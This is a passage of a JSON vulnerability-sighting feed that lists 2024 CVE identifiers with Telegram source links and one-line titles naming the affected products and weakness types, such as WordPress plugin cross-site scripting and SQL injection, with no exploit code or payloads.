"creation_timestamp": "2024-02-07T21:17:11.000000Z"}, {"uuid": "f5fa7079-e229-4280-bee7-9595b3607981", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22911", "type": "seen", "source": "https://t.me/ctinow/185602", "content": "https://ift.tt/VazNIeF\nCVE-2024-22911 | SWFTools 0.9.2 src/swfc.c parseExpression stack-based overflow (Issue 216)", "creation_timestamp": "2024-02-15T15:22:00.000000Z"}, {"uuid": "f17e10c3-d88a-40c4-bbbb-eb133c18edeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22915", "type": "seen", "source": "https://t.me/ctinow/185577", "content": "https://ift.tt/PmjnAz8\nCVE-2024-22915 | SWFTools 0.9.2 rfxswf.c swf_DeleteTag use after free (Issue 215)", "creation_timestamp": "2024-02-15T14:51:33.000000Z"}, {"uuid": "6654cbf9-2ec5-41cb-aa21-3200b9018b02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22919", "type": "seen", "source": "https://t.me/ctinow/185575", "content": "https://ift.tt/QLSfzc3\nCVE-2024-22919 | SWFTools 0.9.2 swftools/src/swfc.c parseExpression buffer overflow (Issue 209)", "creation_timestamp": "2024-02-15T14:51:30.000000Z"}, {"uuid": "373a85b7-1e0b-45b6-8e9b-8c82878145f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22956", "type": "seen", "source": "https://t.me/ctinow/185574", "content": "https://ift.tt/1eVTSDu\nCVE-2024-22956 | SWFTools 0.9.2 swftools/src/swfc.c removeFromTo use after free (Issue 208)", "creation_timestamp": "2024-02-15T14:51:29.000000Z"}, {"uuid": "08d23519-da4e-4977-acba-76463ce2c744", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22957", "type": "seen", "source": "https://t.me/ctinow/185573", "content": "https://ift.tt/X0jDKiG\nCVE-2024-22957 | SWFTools 0.9.2 swftools/lib/q.c dict_do_lookup out-of-bounds (Issue 206)", "creation_timestamp": "2024-02-15T14:51:28.000000Z"}, {"uuid": "bbc6760a-c3ce-4fd4-b803-0d0bd11cada2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22520", "type": "seen", "source": "https://t.me/ctinow/180405", "content": "https://ift.tt/LP6xeFk\nCVE-2024-22520", "creation_timestamp": "2024-02-06T23:31:36.000000Z"}, {"uuid": "d0f2b895-97c6-4fba-afe4-1e5357d96dd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22519", "type": "seen", "source": "https://t.me/ctinow/180404", "content": "https://ift.tt/HPYFrZo\nCVE-2024-22519", "creation_timestamp": "2024-02-06T23:31:35.000000Z"}, {"uuid": "f3f54380-cc6b-48a2-8727-8aab86df6010", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22236", "type": "seen", "source": "https://t.me/ctinow/190723", "content": "https://ift.tt/6sDYS5a\nCVE-2024-22236 | Spring Cloud Contract up to 3.1.9/4.0.4/4.1.0 Guava temp file", "creation_timestamp": "2024-02-22T13:42:22.000000Z"}, {"uuid": "30c8ec1d-54d8-4b13-949d-9b8fd8953be2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22901", "type": "seen", "source": "https://t.me/ctinow/180973", "content": "https://ift.tt/Lj3ScFZ\nCVE-2024-22901 Exploit", "creation_timestamp": "2024-02-07T21:17:19.000000Z"}, {"uuid": "312db7b6-e6fe-4785-bcf8-3e1cb4946072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22902", "type": "seen", "source": "https://t.me/ctinow/180972", "content": "https://ift.tt/NTg8xMh\nCVE-2024-22902 Exploit", "creation_timestamp": "2024-02-07T21:17:18.000000Z"}, {"uuid": "9458966f-fc6b-42c1-955a-296114a6ac6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22569", "type": "seen", "source": "https://t.me/ctinow/180320", "content": "https://ift.tt/mujAJTB\nCVE-2024-22569 Exploit", "creation_timestamp": "2024-02-06T21:16:52.000000Z"}, {"uuid": "45ec4c06-fdc8-4441-97e4-3b82cb30e6d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22295", "type": "seen", "source": "https://t.me/ctinow/191041", "content": "https://ift.tt/goaxQsv\nCVE-2024-22295 | RoboSoft Photo Gallery, Images, Slider in Rbs Image Gallery Plugin cross site scripting", "creation_timestamp": "2024-02-22T19:18:16.000000Z"}, {"uuid": "caa1f995-f0e9-4ed5-9fde-3760b8fcfc3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22286", "type": "seen", "source": "https://t.me/ctinow/191040", "content": "https://ift.tt/6dwY9Z3\nCVE-2024-22286 | Aluka BA Plus Plugin up to 1.0.3 on WordPress cross site scripting", "creation_timestamp": "2024-02-22T19:18:15.000000Z"}, {"uuid": "fd42011c-83dc-46e9-a853-9950fd84ff35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22293", "type": "seen", "source": "https://t.me/ctinow/191039", "content": "https://ift.tt/zna9wqA\nCVE-2024-22293 | Andrea Tarantini BP Profile Search Plugin up to 5.5 on WordPress cross site scripting", "creation_timestamp": "2024-02-22T19:18:14.000000Z"}, {"uuid": "697019bc-2f9e-4ea8-b88e-5df6b09070ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22292", "type": "seen", "source": "https://t.me/ctinow/190980", "content": "https://ift.tt/8mHz293\nCVE-2024-22292 | Delower WP To Do Plugin up to 1.2.8 on WordPress cross site scripting", "creation_timestamp": "2024-02-22T17:52:35.000000Z"}, {"uuid": "aa8d074e-7545-46e4-af5a-2f3a8eea1fd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22307", "type": "seen", "source": "https://t.me/ctinow/190978", "content": "https://ift.tt/7iruP4w\nCVE-2024-22307 | WP Lab WP-Lister Lite for eBay Plugin up to 3.5.7 on WordPress cross site scripting", "creation_timestamp": "2024-02-22T17:52:34.000000Z"}, {"uuid": "2dc8aefb-48af-415f-b2de-427e408d7875", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22022", "type": "seen", "source": "https://t.me/ctinow/180478", "content": "https://ift.tt/QcEIudo\nCVE-2024-22022", "creation_timestamp": "2024-02-07T02:32:06.000000Z"}, {"uuid": "2727d8a9-3c89-4b87-bedf-81f7775e869d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22021", "type": "seen", "source": "https://t.me/ctinow/180477", "content": "https://ift.tt/lkxjQg1\nCVE-2024-22021", "creation_timestamp": "2024-02-07T02:32:05.000000Z"}, {"uuid": "47598ddc-6038-470a-9128-1c8fb7047f22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22406", "type": "seen", "source": "https://t.me/ctinow/180226", "content": "https://ift.tt/iECIlwq\nCVE-2024-22406 | Shopware up to 6.5.7.3 API sql injection (GHSA-qmp9-2xwj-m6m9)", "creation_timestamp": "2024-02-06T18:41:39.000000Z"}, {"uuid": "8389aebe-f6a1-4c14-902f-94473cc50de2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22331", "type": "seen", "source": "https://t.me/ctinow/180210", "content": "https://ift.tt/ItF3PBR\nCVE-2024-22331", "creation_timestamp": "2024-02-06T18:27:04.000000Z"}, {"uuid": "e6014bc0-aa2d-4e55-a350-9e6ab678d6dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22393", "type": "seen", "source": "https://t.me/ctinow/190632", "content": "https://ift.tt/C3MJ1dg\nCVE-2024-22393", "creation_timestamp": "2024-02-22T11:26:50.000000Z"}, {"uuid": "0ea0c9c7-9213-45f7-8208-c18a81f75576", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22208", "type": "seen", "source": "https://t.me/ctinow/183558", "content": "https://ift.tt/sam6kbS\nCVE-2024-22208 Exploit", "creation_timestamp": "2024-02-13T02:16:43.000000Z"}, {"uuid": "656de9ad-2899-4d2e-9300-257d01151f62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22291", "type": "seen", "source": "https://t.me/ctinow/190787", "content": "https://ift.tt/qBWJiGR\nCVE-2024-22291 | Marco Milesi Browser Theme Color up to 1.3 on WordPress cross-site request forgery", "creation_timestamp": "2024-02-22T15:12:39.000000Z"}, {"uuid": "5e2cfdfd-438a-4fb0-ae92-7108dcebbfe1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22285", "type": "seen", "source": "https://t.me/ctinow/190786", "content": "https://ift.tt/YjO2wmX\nCVE-2024-22285 | Elise Bosse Frontpage Manager Plugin up to 1.3 on WordPress cross-site request forgery", "creation_timestamp": "2024-02-22T15:12:38.000000Z"}, {"uuid": "665444ec-ba0a-498d-b225-f01c4a855499", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22304", "type": "seen", "source": "https://t.me/ctinow/190760", "content": "https://ift.tt/JjfQryM\nCVE-2024-22304 | Borbis Media FreshMail For WordPress Plugin up to 2.3.2 on WordPress cross-site request forgery", "creation_timestamp": "2024-02-22T14:42:16.000000Z"}, {"uuid": "9fdc7a70-63d1-4028-a22d-3ba9babb4dab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22394", "type": "seen", "source": "https://t.me/ctinow/181133", "content": "https://ift.tt/VqsWjYf\nCVE-2024-22394", "creation_timestamp": "2024-02-08T03:31:42.000000Z"}, {"uuid": "9a090d30-805e-4064-a9a1-ab51adcb2660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22625", "type": "seen", "source": "https://t.me/ctinow/180085", "content": "https://ift.tt/uByxQD1\nCVE-2024-22625 | Complete Supplier Management System 1.0 edit_category.php id sql injection", "creation_timestamp": "2024-02-06T16:11:31.000000Z"}, {"uuid": "9a516e64-8364-47f8-bfcc-d3cc52f5158f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22627", "type": "seen", "source": "https://t.me/ctinow/180083", "content": "https://ift.tt/qGrb3Zv\nCVE-2024-22627 | Complete Supplier Management System 1.0 edit_distributor.php id sql injection", "creation_timestamp": "2024-02-06T16:11:28.000000Z"}, {"uuid": "fcdb2844-2771-42f8-a089-4e6d33ee8c1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22208", "type": "seen", "source": "https://t.me/ctinow/179546", "content": "https://ift.tt/0Bgu5Vs\nCVE-2024-22208", "creation_timestamp": "2024-02-05T22:21:31.000000Z"}, {"uuid": "bc96820b-bff7-47fa-9781-1a694c45cf71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22567", "type": "seen", "source": "https://t.me/ctinow/179516", "content": "https://ift.tt/Km01CRI\nCVE-2024-22567", "creation_timestamp": "2024-02-05T21:31:20.000000Z"}, {"uuid": "5de50e4d-fca5-424d-b3b6-1b8992d9a1f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22202", "type": "seen", "source": "https://t.me/ctinow/179515", "content": "https://ift.tt/ZRzoTE5\nCVE-2024-22202", "creation_timestamp": "2024-02-05T21:31:18.000000Z"}, {"uuid": "a6d922bb-4c4d-4924-b3e3-1c22616b5748", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22520", "type": "seen", "source": "https://t.me/ctinow/185103", "content": "https://ift.tt/ernlXgS\nCVE-2024-22520 Exploit", "creation_timestamp": "2024-02-14T23:16:31.000000Z"}, {"uuid": "a0285a38-38c4-44c4-982b-d314f751eaeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22519", "type": "seen", "source": "https://t.me/ctinow/185104", "content": "https://ift.tt/O38aePQ\nCVE-2024-22519 Exploit", "creation_timestamp": "2024-02-14T23:16:32.000000Z"}, {"uuid": "119e0c17-a48e-48e1-aecb-498e2fd90d24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22306", "type": "seen", "source": "https://t.me/ctinow/190949", "content": "https://ift.tt/zxy6XGn\nCVE-2024-22306 | Hometory Mang Board WP Plugin up to 1.7.7 on WordPress cross site scripting", "creation_timestamp": "2024-02-22T17:17:44.000000Z"}, {"uuid": "84c00d7f-0fc9-48bc-b9af-7253ee1a235f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22302", "type": "seen", "source": "https://t.me/ctinow/190948", "content": "https://ift.tt/GFj3ZAC\nCVE-2024-22302 | Ignazio Scimone Albo Pretorio On line Plugin up to 4.6.6 on WordPress cross site scripting", "creation_timestamp": "2024-02-22T17:17:43.000000Z"}, {"uuid": "270a55cf-754c-4b5d-969a-e58c862b6b78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22159", "type": "seen", "source": "https://t.me/ctinow/190921", "content": "https://ift.tt/b4e780f\nCVE-2024-22159 | realmag777 WOLF Plugin up to 1.0.8 on WordPress cross site scripting", "creation_timestamp": "2024-02-22T16:51:25.000000Z"}, {"uuid": "96dc06b4-40c3-46e2-8bdd-b7fa8bfdaf4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22305", "type": "seen", "source": "https://t.me/ctinow/190735", "content": "https://ift.tt/hiM7dAn\nCVE-2024-22305 | Ali Forms Contact Form Builder with Drag & Drop Plugin authorization", "creation_timestamp": "2024-02-22T14:12:24.000000Z"}, {"uuid": "b4dff99c-f1b4-4da7-a165-cbc5eedb6158", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22393", "type": "seen", "source": "https://t.me/ctinow/190638", "content": "https://ift.tt/C3MJ1dg\nCVE-2024-22393", "creation_timestamp": "2024-02-22T11:26:58.000000Z"}, {"uuid": "78e665c6-10d6-41c3-a0d0-ea7b1f8277d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22310", "type": "seen", "source": "https://t.me/ctinow/190977", "content": "https://ift.tt/zkJADHj\nCVE-2024-22310 | Formzu WP Plugin up to 1.6.7 on WordPress cross site scripting", "creation_timestamp": "2024-02-22T17:52:30.000000Z"}, {"uuid": "588f04af-81d1-4dde-a0b7-20790b986fea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22297", "type": "seen", "source": "https://t.me/ctinow/190947", "content": "https://ift.tt/dKierEb\nCVE-2024-22297 | Codeboxr CBX Map for Google Map & OpenStreetMap Plugin up to 1.1.11 on WordPress cross site scripting", "creation_timestamp": "2024-02-22T17:17:41.000000Z"}, {"uuid": "5eb6d8d6-9db6-4ba4-b1ba-a2d1eaa39928", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22150", "type": "seen", "source": "https://t.me/ctinow/190946", "content": "https://ift.tt/FcwyskN\nCVE-2024-22150 | PWR Plugins Portfolio & Image Gallery Plugin up to 3.1 on WordPress cross site scripting", "creation_timestamp": "2024-02-22T17:17:40.000000Z"}, {"uuid": "55c0b1a3-d6b3-4f8d-8786-697a205a2c14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22136", "type": "seen", "source": "https://t.me/ctinow/190837", "content": "https://ift.tt/BqFCLlE\nCVE-2024-22136 | DroitThemes Droit Elementor Addons Plugin up to 3.1.5 on WordPress cross-site request forgery", "creation_timestamp": "2024-02-22T15:41:36.000000Z"}, {"uuid": "bba822e2-c676-4229-b976-3f983711c774", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22140", "type": "seen", "source": "https://t.me/ctinow/190836", "content": "https://ift.tt/QcmkUd8\nCVE-2024-22140 | Cozmoslabs Profile Builder Pro Plugin up to 3.10.0 on WordPress cross-site request forgery", "creation_timestamp": "2024-02-22T15:41:36.000000Z"}, {"uuid": "982d4dae-4e89-4243-9cae-9444511ed123", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22569", "type": "seen", "source": "https://t.me/ctinow/190683", "content": "https://ift.tt/lwSjxyL\nCVE-2024-22569 | POSCMS 4.6.2 index.php cross site scripting (Issue 12)", "creation_timestamp": "2024-02-22T12:46:48.000000Z"}, {"uuid": "bfcbf105-0d1b-40f3-ae14-4002dfb6d3fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22408", "type": "seen", "source": "https://t.me/ctinow/180227", "content": "https://ift.tt/YofGV8h\nCVE-2024-22408 | Shopware up to 6.5.7.3 Flow Builder server-side request forgery (GHSA-3535-m8vh-vrmw)", "creation_timestamp": "2024-02-06T18:41:40.000000Z"}, {"uuid": "2be356ed-8e35-40b4-9a24-5fbe2b0af84a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22491", "type": "seen", "source": "https://t.me/ctinow/180170", "content": "https://ift.tt/fZCkAL9\nCVE-2024-22491 | beetl-bbs 2.0 post/save cross site scripting", "creation_timestamp": "2024-02-06T17:41:56.000000Z"}, {"uuid": "8843fd3c-66f1-4531-9ef6-0ff44ffc1896", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22628", "type": "seen", "source": "https://t.me/ctinow/180139", "content": "https://ift.tt/1wKayC5\nCVE-2024-22628 | Budget and Expense Tracker System 1.0 date_end sql injection", "creation_timestamp": "2024-02-06T17:12:42.000000Z"}, {"uuid": "8a1e711a-d943-47a9-a87f-d4d291b5ad16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22191", "type": "seen", "source": "https://t.me/ctinow/180114", "content": "https://ift.tt/uMHt92i\nCVE-2024-22191 | avo prior 3.2.4 key_value cross site scripting", "creation_timestamp": "2024-02-06T16:42:03.000000Z"}, {"uuid": "fb8df61c-9393-4b7e-b9d5-c799554a02d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22626", "type": "seen", "source": "https://t.me/ctinow/180112", "content": "https://ift.tt/ZK7Hzrq\nCVE-2024-22626 | Complete Supplier Management System 1.0 edit_retailer.php id sql injection", "creation_timestamp": "2024-02-06T16:42:01.000000Z"}, {"uuid": "9e0bcd9a-a32d-4e22-9eba-a8a044534e49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22984", "type": "seen", "source": "https://t.me/ctinow/180977", "content": "https://ift.tt/C92dnQP\nCVE-2024-22984", "creation_timestamp": "2024-02-07T21:21:42.000000Z"}, {"uuid": "e384af12-090c-4a2b-896a-5623aeb96db3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22241", "type": "seen", "source": "https://t.me/ctinow/180337", "content": "https://ift.tt/9bfCE34\nCVE-2024-22241", "creation_timestamp": "2024-02-06T21:26:43.000000Z"}, {"uuid": "10548c46-3820-47d1-b357-07ea1697fc82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22240", "type": "seen", "source": "https://t.me/ctinow/180336", "content": "https://ift.tt/0FoweD3\nCVE-2024-22240", "creation_timestamp": "2024-02-06T21:26:42.000000Z"}, {"uuid": "d4295f12-4ce6-44a1-b567-03771832da77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22290", "type": "seen", "source": "https://t.me/ctinow/190757", "content": "https://ift.tt/bK4dosP\nCVE-2024-22290 | AboZain O7abeeb UnitOne Custom Dashboard Widgets Plugin up to 1.3.1 on WordPress cross-site request forgery", "creation_timestamp": "2024-02-22T14:42:13.000000Z"}, {"uuid": "c60c577c-62ab-4c79-adc6-abf3cddde59e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22287", "type": "seen", "source": "https://t.me/ctinow/190756", "content": "https://ift.tt/hFBpkR3\nCVE-2024-22287 | Lud\u011bk Melichar Better Anchor Links Plugin up to 1.7.5 on WordPress cross-site request forgery", "creation_timestamp": "2024-02-22T14:42:11.000000Z"}, {"uuid": "7a961858-a573-4572-a465-243efebc5916", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22200", "type": "seen", "source": "https://t.me/ctinow/190529", "content": "https://ift.tt/5TdznYc\nCVE-2024-22200 | vantage6-UI up to 4.1.x Nginx information disclosure (GHSA-8wxq-346h-xmr8)", "creation_timestamp": "2024-02-22T08:37:19.000000Z"}, {"uuid": "c7e77da2-1063-4c85-9077-384690e45618", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22894", "type": "seen", "source": "https://t.me/ctinow/190479", "content": "https://ift.tt/rNsG7xY\nCVE-2024-22894 | AIT-Deutschland Alpha Innotec Heatpump 3.88.0-9015 shadow File inadequate encryption", "creation_timestamp": "2024-02-22T07:08:07.000000Z"}, {"uuid": "36e43148-0be5-4a05-9e72-c99d54444e24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22523", "type": "seen", "source": "https://t.me/ctinow/190462", "content": "https://ift.tt/aF9PUJI\nCVE-2024-22523 | Qiyu iFair up to 23.8_ad0 uploadimage path traversal", "creation_timestamp": "2024-02-22T06:37:06.000000Z"}, {"uuid": "2de5af30-7fb3-40b3-950c-21f4713d562b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22318", "type": "seen", "source": "https://t.me/ctinow/184383", "content": "https://ift.tt/PUAMQ1i\nIBM i Access Client Solutions / Remote Credential Theft / CVE-2024-22318", "creation_timestamp": "2024-02-14T03:40:14.000000Z"}, {"uuid": "ffb20b1f-6d2e-4b43-8c0c-9fb5ff791224", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22012", "type": "seen", "source": "https://t.me/ctinow/180839", "content": "https://ift.tt/B83YThr\nCVE-2024-22012", "creation_timestamp": "2024-02-07T17:22:06.000000Z"}, {"uuid": "e124597b-75f2-440b-8a53-fc6fa30bb035", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22411", "type": "seen", "source": "https://t.me/ctinow/180171", "content": "https://ift.tt/QYUL1Jt\nCVE-2024-22411 | avo up to 2.x on Ruby Notifications Avo::BaseAction cross site scripting (GHSA-g8vp-2v5p-9qfh)", "creation_timestamp": "2024-02-06T17:41:57.000000Z"}, {"uuid": "5570d34c-9bbb-468e-8704-400fb74773ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22409", "type": "seen", "source": "https://t.me/ctinow/180185", "content": "https://ift.tt/lxCHWRB\nCVE-2024-22409 | DataHub up to 0.12.0 default permission (GHSA-x3v6-r479-m4xv)", "creation_timestamp": "2024-02-06T18:12:10.000000Z"}, {"uuid": "1f6dd47f-cf4e-42b5-8402-9f15f286f25a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22852", "type": "seen", "source": "https://t.me/ctinow/179700", "content": "https://ift.tt/DuFM9XB\nCVE-2024-22852", "creation_timestamp": "2024-02-06T03:26:40.000000Z"}, {"uuid": "9e7f8c38-299d-445e-a766-a5e0bd0a1dcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22365", "type": "seen", "source": "https://t.me/ctinow/179851", "content": "https://ift.tt/J6i9cZ1\nCVE-2024-22365", "creation_timestamp": "2024-02-06T09:26:16.000000Z"}, {"uuid": "ad147e80-0d3e-4b20-8bd1-a95900ed6cfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22667", "type": "seen", "source": "https://t.me/ctinow/185105", "content": "https://ift.tt/YkMqF0B\nCVE-2024-22667 Exploit", "creation_timestamp": "2024-02-14T23:16:33.000000Z"}, {"uuid": "585b32e3-5a0c-4a73-8e25-6136ec4d5dbc", "vulnerability_lookup_origin": 